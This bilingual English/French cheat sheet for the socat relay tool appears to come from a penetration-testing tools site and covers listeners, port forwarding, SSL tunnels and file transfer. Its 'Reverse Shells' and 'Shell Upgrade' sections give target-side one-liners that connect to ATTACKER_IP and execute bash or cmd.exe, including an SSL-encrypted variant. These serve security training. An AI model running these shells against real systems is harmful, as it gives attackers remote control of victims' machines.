← retour aux outils back to tools

# socat

Relais réseau multi-usage. Crée des flux de données bidirectionnels entre presque n'importe quels deux points de terminaison : sockets, fichiers, processus, ports série. Multipurpose network relay. Creates bidirectional data streams between almost any two endpoints — sockets, files, processes, serial ports.

↗ http://www.dest-unreach.org/socat/

## Overview

socat (SOcket CAT) is netcat on steroids. It can relay data between virtually any two endpoints: TCP/UDP sockets, Unix domain sockets, files, SSL, PTY, and more. Invaluable for port forwarding, upgrading shells, and creating encrypted tunnels.

## Listeners & Basic Connections

TCP listener (like nc -lvp)

    socat TCP-LISTEN:4444,reuseaddr -

Connect to listener

    socat - TCP:10.10.10.1:4444

UDP listener

    socat UDP-LISTEN:4444,reuseaddr -

Connect with timeout

    socat TCP:10.10.10.1:4444,connect-timeout=5 -

## Reverse Shells

Listener side (attacker)

    socat TCP-LISTEN:4444,reuseaddr FILE:`tty`,raw,echo=0

Target side — fully interactive reverse shell

    socat TCP:ATTACKER_IP:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Windows reverse shell

    socat TCP:ATTACKER_IP:4444 EXEC:'cmd.exe',pipes

## Shell Upgrade (TTY)

Upgrade a raw netcat shell to fully interactive PTY Attacker:

    socat file:`tty`,raw,echo=0 tcp-listen:4444

Victim:

    socat tcp-connect:ATTACKER_IP:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane

## Port Forwarding

Forward local port to remote host:port

    socat TCP-LISTEN:8080,fork TCP:internal-server:80

Forward all connections on port 443 to another host

    socat TCP-LISTEN:443,fork,reuseaddr TCP:10.10.10.5:443

Bidirectional UDP forwarding

    socat UDP-LISTEN:53,fork UDP:8.8.8.8:53

## SSL Encrypted Channels

    # Generate self-signed cert
    openssl req -newkey rsa:2048 -nodes -keyout server.key -x509 -days 365 -out server.crt
    cat server.key server.crt > server.pem

SSL listener

    socat OPENSSL-LISTEN:443,cert=server.pem,verify=0 -

SSL client

    socat - OPENSSL:10.10.10.1:443,verify=0

    # SSL encrypted reverse shell
    # Attacker:
    socat OPENSSL-LISTEN:443,cert=server.pem,verify=0 FILE:`tty`,raw,echo=0
    # Target:
    socat OPENSSL:ATTACKER_IP:443,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

## File Transfer

Send file

    socat TCP-LISTEN:4444,reuseaddr < file_to_send.txt

Receive file

    socat TCP:10.10.10.1:4444 > received_file.txt

    socat -u FILE:send.txt TCP-LISTEN:4444,reuseaddr  # sender

    socat -u TCP:10.10.10.1:4444 FILE:recv.txt,create # receiver

## Tips

- `fork` is essential for listeners that need to handle multiple connections
- `reuseaddr` allows immediately reusing a port after disconnect
- socat is often available on servers even when netcat isn’t
- For pivoting through jump hosts, chain multiple socat relays

Address types reference

    TCP:host:port         TCP client connection
    TCP-LISTEN:port       TCP server (listener)
    UDP:host:port         UDP client
    UDP-LISTEN:port       UDP server
    OPENSSL:host:port     SSL/TLS client
    OPENSSL-LISTEN:port   SSL/TLS server
    FILE:filename         Regular file
    EXEC:command          Execute program
    PTY                   Pseudo-terminal
    STDIN / STDOUT        Standard I/O
    -                     Shorthand for STDIO

    Options (appended with comma):
    fork              Fork for each connection
    reuseaddr         Reuse address/port
    bind=addr         Bind to specific address
    range=CIDR        Only accept from CIDR
    crnl              Use CR+NL instead of NL
    raw,echo=0        Raw terminal, no echo
    pty,setsid        Allocate PTY, new session

## Vue d’ensemble

socat (SOcket CAT) est un netcat sous stéroïdes. Il peut relayer des données entre pratiquement n’importe quels deux points de terminaison : sockets TCP/UDP, sockets de domaine Unix, fichiers, SSL, PTY, et plus encore. Précieux pour le port forwarding, l’upgrade de shell et la création de tunnels chiffrés.

## Listeners et connexions de base

    # Listener TCP (comme nc -lvp)
    socat TCP-LISTEN:4444,reuseaddr -

    # Se connecter à un listener
    socat - TCP:10.10.10.1:4444

    # Listener UDP
    socat UDP-LISTEN:4444,reuseaddr -

    # Se connecter avec timeout
    socat TCP:10.10.10.1:4444,connect-timeout=5 -

## Reverse shells

    # Côté listener (attaquant)
    socat TCP-LISTEN:4444,reuseaddr FILE:`tty`,raw,echo=0

    # Côté cible : reverse shell pleinement interactif
    socat TCP:ATTACKER_IP:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

    # Reverse shell Windows
    socat TCP:ATTACKER_IP:4444 EXEC:'cmd.exe',pipes

## Upgrade de shell (TTY)

    # Upgrader un shell netcat brut vers un PTY pleinement interactif. Attaquant :
    socat file:`tty`,raw,echo=0 tcp-listen:4444

    # Victime :
    socat tcp-connect:ATTACKER_IP:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane

## Port forwarding

    # Rediriger un port local vers un hôte:port distant
    socat TCP-LISTEN:8080,fork TCP:internal-server:80

    # Rediriger toutes les connexions sur le port 443 vers un autre hôte
    socat TCP-LISTEN:443,fork,reuseaddr TCP:10.10.10.5:443

    # Forwarding UDP bidirectionnel
    socat UDP-LISTEN:53,fork UDP:8.8.8.8:53

## Canaux chiffrés SSL

    # Générer un certificat autosigné
    openssl req -newkey rsa:2048 -nodes -keyout server.key -x509 -days 365 -out server.crt
    cat server.key server.crt > server.pem

    # Listener SSL
    socat OPENSSL-LISTEN:443,cert=server.pem,verify=0 -

    # Client SSL
    socat - OPENSSL:10.10.10.1:443,verify=0

    # Reverse shell chiffré SSL
    # Attaquant :
    socat OPENSSL-LISTEN:443,cert=server.pem,verify=0 FILE:`tty`,raw,echo=0
    # Cible :
    socat OPENSSL:ATTACKER_IP:443,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

## Transfert de fichiers

    # Envoyer un fichier
    socat TCP-LISTEN:4444,reuseaddr < file_to_send.txt

    # Recevoir un fichier
    socat TCP:10.10.10.1:4444 > received_file.txt

    # Envoi
    socat -u FILE:send.txt TCP-LISTEN:4444,reuseaddr

    # Réception
    socat -u TCP:10.10.10.1:4444 FILE:recv.txt,create

## Conseils

- `fork` est indispensable pour les listeners qui doivent gérer plusieurs connexions
- `reuseaddr` permet de réutiliser immédiatement un port après déconnexion
- socat est souvent disponible sur des serveurs même quand netcat ne l’est pas
- Pour le pivoting à travers des hôtes relais, chaîner plusieurs relais socat

Référence des types d'adresse

    TCP:host:port         TCP client connection
    TCP-LISTEN:port       TCP server (listener)
    UDP:host:port         UDP client
    UDP-LISTEN:port       UDP server
    OPENSSL:host:port     SSL/TLS client
    OPENSSL-LISTEN:port   SSL/TLS server
    FILE:filename         Regular file
    EXEC:command          Execute program
    PTY                   Pseudo-terminal
    STDIN / STDOUT        Standard I/O
    -                     Shorthand for STDIO

    Options (appended with comma):
    fork              Fork for each connection
    reuseaddr         Reuse address/port
    bind=addr         Bind to specific address
    range=CIDR        Only accept from CIDR
    crnl              Use CR+NL instead of NL
    raw,echo=0        Raw terminal, no echo
    pty,setsid        Allocate PTY, new session